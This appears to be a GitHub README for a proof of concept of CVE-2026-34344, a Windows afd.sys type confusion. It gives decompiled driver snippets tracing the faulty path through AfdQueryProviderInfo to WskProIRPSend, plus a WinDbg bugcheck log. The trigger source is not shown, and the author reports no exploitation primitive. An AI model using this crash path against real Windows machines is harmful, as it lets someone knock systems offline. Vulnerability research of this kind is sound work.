nhh9905/cve-2026-34344PoC for CVE-2026-34344, a Windows afd.sys type confusion causing a kernel crash via AfdQueryProviderInfo. Provides trigger code, crash log, and analysis.
Type Confusion vulnerability. However, I don't have any primitive to exploit this vulnerability.Type Confusionafd.sysAfdQueryProviderInfoWskProIRPSend, kernel have access SecurityContext->SecurityQos which is provider_query_request.query_type in AfdQueryProviderInfo:AfdQueryProviderInfo:
*(_QWORD *)&provider_query_request.query_type = 2;
provider_query_request.f_08_ = 0;
query_status = AfdIssueDeviceControl(
(PFILE_OBJECT)file_object,
&provider_query_request,
0x10u,
provider_info_buffer,
0x28u,
0xCu);
AfdIssueDeviceControl:
memmove(¤t_stack[-1].Parameters, input_buffer, input_size_32);// size = 0x10
-> SecurityContext->SecurityQos = 2 = provider_query_request.query_type
IopfCallDriver:
CurrentStackLocation = Irp->Tail.Overlay.CurrentStackLocation - 1; // -0x48
Irp->Tail.Overlay.CurrentStackLocation = CurrentStackLocation;
WskProIRPSend:
SecurityContext = CurrentStackLocation->Parameters.Create.SecurityContext;// CurrentStackLocation+8 = -0x40
if ( LOWORD(SecurityContext->SecurityQos) != 0xACE2 ) // -> Crash
1: kd> g
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x0000003b
(0x00000000C0000005,0xFFFFF80323798938,0xFFFFFA80B0D863A0,0x0000000000000000)
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
For analysis of this file, run !analyze -v
nt!DbgBreakPointWithStatus:
fffff803`8f2fb1b0 cc int 3
1: kd> kb
# RetAddr : Args to Child : Call Site
00 fffff801`d15b1992 : ffffdd02`0ec6d2a8 00000000`00000001 00000000`00000100 fffff801`d16c3e01 : nt!DbgBreakPointWithStatus
01 fffff801`d15b0ebc : 00000000`00000003 ffffdd02`0ec6d390 fffff801`d16c3f70 00000000`0000003b : nt!KiBugCheckDebugBreak+0x12
02 fffff801`d14fa437 : fffff801`64500600 ffffdd02`0ec6da60 00000000`00000001 ffffdd02`00002010 : nt!KeBugCheck2+0xb2c
03 fffff801`d16be2e9 : 00000000`0000003b 00000000`c0000005 fffff801`65998938 ffffdd02`0ec6e3a0 : nt!KeBugCheckEx+0x107
04 fffff801`d16bd33c : ffffdd02`00000001 ffffdd02`00000001 fffff801`d19664bf fffff801`d16bd2c0 : nt!KiBugCheckDispatch+0x69
05 fffff801`d16b38ff : ffffdd02`0ec6e3a0 00000000`00000000 ffffdd02`0ec6dc70 00000000`00000000 : nt!KiSystemServiceHandler+0x7c
06 fffff801`d127d5c2 : ffffdd02`0ec6dc70 fffff801`d1000000 fffff801`d16bd955 fffff801`d1116064 : nt!RtlpExecuteHandlerForException+0xf
07 fffff801`d13ddcbf : ffffdd02`0ec6e3a0 ffffdd02`0ec6e8a0 ffffdd02`0ec6e3a0 ffffdd02`0ec6eb98 : nt!RtlDispatchException+0x2d2
08 fffff801`d16be445 : 00000000`00000000 00000000`00000000 00000000`00000000 ffffc907`9ed8a560 : nt!KiDispatchException+0x35f
09 fffff801`d16b9582 : 00000000`00000000 fffff801`d18976ec 00000000`00000002 ffffb45a`374083b0 : nt!KiExceptionDispatch+0x145
0a fffff801`65998938 : 00000000`00000000 00000000`00000000 ffffc907`9c7c3d50 00000000`00000000 : nt!KiPageFault+0x442
0b fffff801`659c6a65 : 00000000`0000000c ffffc907`9dcab1b8 00000000`00000010 ffffc907`a01628c0 : afd!WskProIRPSend+0x38
0c fffff801`d13a953b : ffffc907`9fb6a390 ffffc907`9c7c3d50 ffffc907`9fb6a390 ffffc907`9dcab010 : afd!AfdWskDispatchInternalDeviceControl+0x55
0d fffff801`d13a94b3 : 0000003f`ffffff01 ffffdd02`0ec6ef68 ffffdd02`0ec6ef58 fffff801`6599ead0 : nt!IopfCallDriver+0x5b
0e fffff801`6599eb31 : ffffc907`9fb6a390 ffffc907`9c7c3d50 00000000`00000000 ffffdd02`0ec6f120 : nt!IofCallDriver+0x13
0f fffff801`659a7bc1 : 00000000`00000000 ffffdd02`0ec6f200 ffffdd02`0ec6f2a0 ffffc907`9fb6a390 : afd!AfdIssueDeviceControl+0x111
10 fffff801`6598bdac : ffffdd02`0ec6f2a0 ffffc907`a01caea0 ffffc907`a01caea0 ffffdd02`0ec6f2a0 : afd!AfdQueryProviderInfo+0x195
11 fffff801`6598aea9 : 00000000`0000004c 00000000`00000000 ffffdd02`0ec6f2a0 ffffe081`56200000 : afd!AfdGetTransportInfo+0x1d8
12 fffff801`6599781e : ffffdd02`0ec6f290 ffffc907`9ff4b090 00000000`00000001 00000000`00000006 : afd!AfdAllocateEndpoint+0x329
13 fffff801`6599630e : ffffdd02`6d4e0000 00000000`00000000 ffffc907`a0164800 ffffc907`9a7aec50 : afd!AfdCreate+0x18e
14 fffff801`d13a953b : 00000000`00000000 ffffc907`9c7c3d50 00000000`00000005 00000000`00000000 : afd!AfdDispatch+0xfe
15 fffff801`d13a94b3 : ffffc907`9a7aedf8 00000000`00000000 ffffc907`9f735050 ffffc907`9c7c3d50 : nt!IopfCallDriver+0x5b
16 fffff801`d189a83b : 00000000`00000005 ffffdd02`0ec6f720 ffffc907`9c7c3d50 00000000`00000000 : nt!IofCallDriver+0x13
17 fffff801`d1898812 : fffff801`d189a100 00000000`00000040 ffffe081`5621f270 ffffdd02`0ec6f858 : nt!IopParseDevice+0x73b
18 fffff801`d18965e3 : ffffc907`9a7c9a01 ffffdd02`0ec6f858 00000000`00000040 ffffc907`9a824680 : nt!ObpLookupObjectName+0xd82
19 fffff801`d19664bf : 00000000`00000000 ffffc907`9f735050 000001cb`42288bf0 00000000`00000000 : nt!ObOpenObjectByNameEx+0x223
1a fffff801`d1965699 : 0000003b`be9bf7b0 ffffc907`c0100000 0000003b`be9bf7c8 0000003b`be9bf830 : nt!IopCreateFile+0xe0f
1b fffff801`d16bd955 : 00000000`00000001 0000003b`be9bdb90 ffffdd02`0ec6fb60 00000000`00000000 : nt!NtCreateFile+0x79
1c 00007ff8`866c25a4 : 00007ff6`1b2f1567 00007ff6`1b2f33c0 000001cb`42283230 0000003b`be9bf880 : nt!KiSystemServiceCopyEnd+0x25
1d 00007ff6`1b2f1567 : 00007ff6`1b2f33c0 000001cb`42283230 0000003b`be9bf880 00000000`00000000 : ntdll!NtCreateFile+0x14
1e 00007ff6`1b2f33c0 : 000001cb`42283230 0000003b`be9bf880 00000000`00000000 00000000`00000000 : poc!wmain+0x357
1f 000001cb`42283230 : 0000003b`be9bf880 00000000`00000000 00000000`00000000 00000000`00000000 : poc!`string'
20 0000003b`be9bf880 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000003 : 0x000001cb`42283230
21 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000003 00000000`00000003 : 0x0000003b`be9bf880